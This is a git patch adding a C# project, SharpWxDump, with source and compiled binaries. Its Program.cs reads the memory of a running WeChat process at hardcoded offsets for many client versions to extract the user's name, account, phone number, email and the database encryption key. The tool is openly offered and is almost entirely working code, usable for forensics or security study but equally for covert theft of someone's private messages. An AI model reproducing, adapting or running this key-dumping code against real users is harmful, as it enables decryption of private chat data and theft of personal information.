From de63fda86c04a16abcea085dbe39a1e6ef0f3820 Mon Sep 17 00:00:00 2001 From: AdminTest0 <68320691@qq.com> Date: Sun, 17 Jul 2022 22:41:47 +0800 Subject: [PATCH] SharpWxDump --- .vs/SharpWxDump/v16/.suo | Bin 0 -> 36352 bytes Program.cs | 524 ++++++++++++++++++ Properties/AssemblyInfo.cs | 36 ++ SharpWxDump.csproj | 66 +++ SharpWxDump.sln | 31 ++ bin/x86/Release/SharpWxDump.exe | Bin 0 -> 11264 bytes bin/x86/Release/SharpWxDump.pdb | Bin 0 -> 24064 bytes ...amework,Version=v4.0.AssemblyAttributes.cs | 4 + ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 6447 bytes ...SharpWxDump.csproj.AssemblyReference.cache | Bin 0 -> 3709 bytes ...amework,Version=v4.0.AssemblyAttributes.cs | 4 + ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 6451 bytes ...amework,Version=v4.0.AssemblyAttributes.cs | 4 + ...gnTimeResolveAssemblyReferencesInput.cache | Bin 0 -> 6458 bytes ...SharpWxDump.csproj.AssemblyReference.cache | Bin 0 -> 1061 bytes ...SharpWxDump.csproj.CoreCompileInputs.cache | 1 + .../SharpWxDump.csproj.FileListAbsolute.txt | 6 + obj/x86/Release/SharpWxDump.exe | Bin 0 -> 11264 bytes obj/x86/Release/SharpWxDump.pdb | Bin 0 -> 24064 bytes 19 files changed, 676 insertions(+) create mode 100644 .vs/SharpWxDump/v16/.suo create mode 100644 Program.cs create mode 100644 Properties/AssemblyInfo.cs create mode 100644 SharpWxDump.csproj create mode 100644 SharpWxDump.sln create mode 100644 bin/x86/Release/SharpWxDump.exe create mode 100644 bin/x86/Release/SharpWxDump.pdb create mode 100644 obj/Debug/.NETFramework,Version=v4.0.AssemblyAttributes.cs create mode 100644 obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache create mode 100644 obj/Debug/SharpWxDump.csproj.AssemblyReference.cache create mode 100644 obj/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs create mode 100644 obj/Release/DesignTimeResolveAssemblyReferencesInput.cache create mode 100644 obj/x86/Release/.NETFramework,Version=v4.0.AssemblyAttributes.cs create mode 100644 obj/x86/Release/DesignTimeResolveAssemblyReferencesInput.cache create mode 100644 obj/x86/Release/SharpWxDump.csproj.AssemblyReference.cache create mode 100644 obj/x86/Release/SharpWxDump.csproj.CoreCompileInputs.cache create mode 100644 obj/x86/Release/SharpWxDump.csproj.FileListAbsolute.txt create mode 100644 obj/x86/Release/SharpWxDump.exe create mode 100644 obj/x86/Release/SharpWxDump.pdb diff --git a/.vs/SharpWxDump/v16/.suo b/.vs/SharpWxDump/v16/.suo new file mode 100644 index 0000000000000000000000000000000000000000..919f2e7045ed4c725240ae7a69f24b2bef23aa32 GIT binary patch literal 36352 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 list = null; + + foreach (Process WeChatProcess2 in WeChatProcessName) + { + WeChatProcess = WeChatProcess2; + Console.WriteLine("[+] WeChatProcessPID: " + WeChatProcess2.Id.ToString()); + foreach (object obj in WeChatProcess.Modules) + { + ProcessModule processModule = (ProcessModule)obj; + if (processModule.ModuleName == "WeChatWin.dll") + { + Program.WeChatWinBaseAddress = processModule.BaseAddress; + string fileVersion = processModule.FileVersionInfo.FileVersion; + Console.WriteLine("[+] WeChatVersion: " + fileVersion); + + if (!Program.versionlist.TryGetValue(fileVersion, out list)) + { + Console.WriteLine("[-] WeChat Current Version Is: " + fileVersion + " Not Support"); + return; + } + break; + } + } + + if (list == null) + { + Console.WriteLine("[-] WeChat Base Address Get Faild"); + } + else + { + int WeChatName = (int)Program.WeChatWinBaseAddress + list[0]; + Console.WriteLine("[+] WeChatName: " + Program.GetName(WeChatProcess.Handle, (IntPtr)WeChatName, 100)); + int WeChatAccount = (int)Program.WeChatWinBaseAddress + list[1]; + string Account = Program.GetMobile(WeChatProcess.Handle, (IntPtr)WeChatAccount); + if (string.IsNullOrWhiteSpace(Account)) + { + Console.WriteLine("[-] WeChatAccount: Can't Get User Account, Maybe No Login"); + } + else + { + Console.WriteLine("[+] WeChatAccount: " + Program.GetAccount(WeChatProcess.Handle, (IntPtr)WeChatAccount, 100)); + } + int WeChatMobile = (int)Program.WeChatWinBaseAddress + list[2]; + string Mobile = Program.GetMobile(WeChatProcess.Handle, (IntPtr)WeChatMobile); + if (string.IsNullOrWhiteSpace(Mobile)) + { + Console.WriteLine("[-] WeChatMobile: Can't Get User Mobile, Maybe No Login or Maybe User Is No Binding Mobile"); + } + else + { + Console.WriteLine("[+] WeChatMobile: " + Program.GetMobile(WeChatProcess.Handle, (IntPtr)WeChatMobile, 100)); + } + int WeChatMail = (int)Program.WeChatWinBaseAddress + list[3]; + string Mail = Program.GetMail(WeChatProcess.Handle, (IntPtr)WeChatMail); + if (string.IsNullOrWhiteSpace(Mail)) + { + Console.WriteLine("[-] WeChatMail: Can't Get User Mail, Maybe User Is No Binding Email Address or The current is New Version"); + } + else + { + Console.WriteLine("[+] WeChatMail: " + Program.GetMail(WeChatProcess.Handle, (IntPtr)WeChatMail, 100)); + } + int WeChatKey = (int)Program.WeChatWinBaseAddress + list[4]; + string HexKey = Program.GetHex(WeChatProcess.Handle, (IntPtr)WeChatKey); + if (string.IsNullOrWhiteSpace(HexKey)) + { + Console.WriteLine("[-] WeChatKey: WeChat Is Run, But Maybe No Login"); + return; + } + else + { + Console.WriteLine("[+] WeChatKey: " + HexKey); + } + } + } + if (WeChatProcess == null) + { + Console.WriteLine("[-] WeChat No Run"); + return; + } + } + private static string GetName(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) + { + byte[] array = new byte[nSize]; + if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) + { + return ""; + } + string text = ""; + foreach (char c in Encoding.UTF8.GetString(array)) + { + if (c == '\0') + { + break; + } + text += c.ToString(); + } + return text; + } + private static string GetAccount(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) + { + byte[] array = new byte[nSize]; + if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) + { + return ""; + } + string text = ""; + foreach (char c in Encoding.UTF8.GetString(array)) + { + if (c == '\0') + { + break; + } + text += c.ToString(); + } + return text; + } + private static string GetMobile(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) + { + byte[] array = new byte[nSize]; + if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) + { + return ""; + } + string text = ""; + foreach (char c in Encoding.UTF8.GetString(array)) + { + if (c == '\0') + { + break; + } + text += c.ToString(); + } + return text; + } + private static string GetMail(IntPtr hProcess, IntPtr lpBaseAddress, int nSize = 100) + { + byte[] array = new byte[nSize]; + if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, nSize, 0) == 0) + { + return ""; + } + string text = ""; + foreach (char c in Encoding.UTF8.GetString(array)) + { + if (c == '\0') + { + break; + } + text += c.ToString(); + } + return text; + } + private static string GetHex(IntPtr hProcess, IntPtr lpBaseAddress) + { + byte[] array = new byte[4]; + if (Program.ReadProcessMemory(hProcess, lpBaseAddress, array, 4, 0) == 0) + { + return ""; + } + int num = 32; + byte[] array2 = new byte[num]; + IntPtr lpBaseAddress2 = (IntPtr)(((int)array[3] << 24) + ((int)array[2] << 16) + ((int)array[1] << 8) + (int)array[0]); + if (Program.ReadProcessMemory(hProcess, lpBaseAddress2, array2, num, 0) == 0) + { + return ""; + } + return Program.bytes2hex(array2); + } + private static string bytes2hex(byte[] bytes) + { + return BitConverter.ToString(bytes, 0).Replace("-", string.Empty).ToLower().ToUpper(); + } + [DllImport("kernel32.dll")] + public static extern int OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + [DllImport("kernel32.dll")] + public static extern int GetModuleHandleA(string moduleName); + [DllImport("kernel32.dll")] + public static extern int ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, int lpNumberOfBytesRead); + public static Dictionary> versionlist = new Dictionary> + { + { + "3.2.1.154", + new List + { + 328121948, + 328122328, + 328123056, + 328121976, + 328123020 + } + }, + { + "3.3.0.115", + new List + { + 31323364, + 31323744, + 31324472, + 31323392, + 31324436 + } + }, + { + "3.3.0.84", + new List + { + 31315212, + 31315592, + 31316320, + 31315240, + 31316284 + } + }, + { + "3.3.0.93", + new List + { + 31323364, + 31323744, + 31324472, + 31323392, + 31324436 + } + }, + { + "3.3.5.34", + new List + { + 30603028, + 30603408, + 30604120, + 30603056, + 30604100 + } + }, + { + "3.3.5.42", + new List + { + 30603012, + 30603392, + 30604120, + 30603040, + 30604084 + } + }, + { + "3.3.5.46", + new List + { + 30578372, + 30578752, + 30579480, + 30578400, + 30579444 + } + }, + { + "3.4.0.37", + new List + { + 31608116, + 31608496, + 31609224, + 31608144, + 31609188 + } + }, + { + "3.4.0.38", + new List + { + 31604044, + 31604424, + 31605152, + 31604072, + 31605116 + } + }, + { + "3.4.0.50", + new List + { + 31688500, + 31688880, + 31689608, + 31688528, + 31689572 + } + }, + { + "3.4.0.54", + new List + { + 31700852, + 31701248, + 31700920, + 31700880, + 31701924 + } + }, + { + "3.4.5.27", + new List + { + 32133788, + 32134168, + 32134896, + 32133816, + 32134860 + } + }, + { + "3.4.5.45", + new List + { + 32147012, + 32147392, + 32147064, + 32147040, + 32148084 + } + }, + { + "3.5.0.20", + new List + { + 35494484, + 35494864, + 35494536, + 35494512, + 35495556 + } + }, + { + "3.5.0.29", + new List + { + 35507980, + 35508360, + 35508032, + 35508008, + 35509052 + } + }, + { + "3.5.0.33", + new List + { + 35512140, + 35512520, + 35512192, + 35512168, + 35513212 + } + }, + { + "3.5.0.39", + new List + { + 35516236, + 35516616, + 35516288, + 35516264, + 35517308 + } + }, + { + "3.5.0.42", + new List + { + 35512140, + 35512520, + 35512192, + 35512168, + 35513212 + } + }, + { + "3.5.0.44", + new List + { + 35510836, + 35511216, + 35510896, + 35510864, + 35511908 + } + }, + { + "3.5.0.46", + new List + { + 35506740, + 35507120, + 35506800, + 35506768, + 35507812 + } + }, + { + "3.6.0.18", + new List + { + 35842996, + 35843376, + 35843048, + 35843024, + 35844068 + } + }, + { + "3.6.5.7", + new List + { + 35864356, + 35864736, + 35864408, + 35864384, + 35865428 + } + }, + { + "3.6.5.16", + new List + { + 35909428, + 35909808, + 35909480, + 35909456, + 35910500 + } + }, + { + "3.7.0.26", + new List + { + 37105908, + 37106288, + 37105960, + 37105936, + 37106980 + } + }, + { + "3.7.0.29", + new List + { + 37105908, + 37106288, + 37105960, + 37105936, + 37106980 + } + }, + { + "3.7.0.30", + new List + { + 37118196, + 37118576, + 37118248, + 37118224, + 37119268 + } + }, + { + "3.7.5.11", + new List + { + 37883280, + 37884088, + 37883136, + 37883008, + 37884052 + } + }, + { + "3.7.5.23", + new List + { + 37895736, + 37896544, + 37895592, + 37883008, + 37896508 + } + } + }; + private static IntPtr WeChatWinBaseAddress = IntPtr.Zero; + } +} \ No newline at end of file diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..3514608 --- /dev/null +++ b/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("SharpWxDump")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpWxDump")] +[assembly: AssemblyCopyright("Copyright © 2022")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("9a708a39-ed10-4d57-b23d-76b1847f7e90")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpWxDump.csproj b/SharpWxDump.csproj new file mode 100644 index 0000000..092a136 --- /dev/null +++ b/SharpWxDump.csproj @@ -0,0 +1,66 @@ + + + + + Debug + AnyCPU + {9A708A39-ED10-4D57-B23D-76B1847F7E90} + Exe + SharpWxDump + SharpWxDump + v4.0 + 512 + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + true + bin\x86\Debug\ + DEBUG;TRACE + full + x86 + 7.3 + prompt + + + bin\x86\Release\ + TRACE + true + pdbonly + x86 + 7.3 + prompt + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SharpWxDump.sln b/SharpWxDump.sln new file mode 100644 index 0000000..4e5dea8 --- /dev/null +++ b/SharpWxDump.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32510.428 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpWxDump", "SharpWxDump.csproj", "{9A708A39-ED10-4D57-B23D-76B1847F7E90}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Debug|x86.ActiveCfg = Debug|x86 + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Debug|x86.Build.0 = Debug|x86 + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Release|Any CPU.Build.0 = Release|Any CPU + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Release|x86.ActiveCfg = Release|x86 + {9A708A39-ED10-4D57-B23D-76B1847F7E90}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {80DA3A70-3223-4AC2-8227-3138A24B74C6} + EndGlobalSection +EndGlobal diff --git a/bin/x86/Release/SharpWxDump.exe b/bin/x86/Release/SharpWxDump.exe new file mode 100644 index 0000000000000000000000000000000000000000..91e59d27915b0c9fd4a6be549fa13d45ab6a5f32 GIT binary patch literal 11264 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 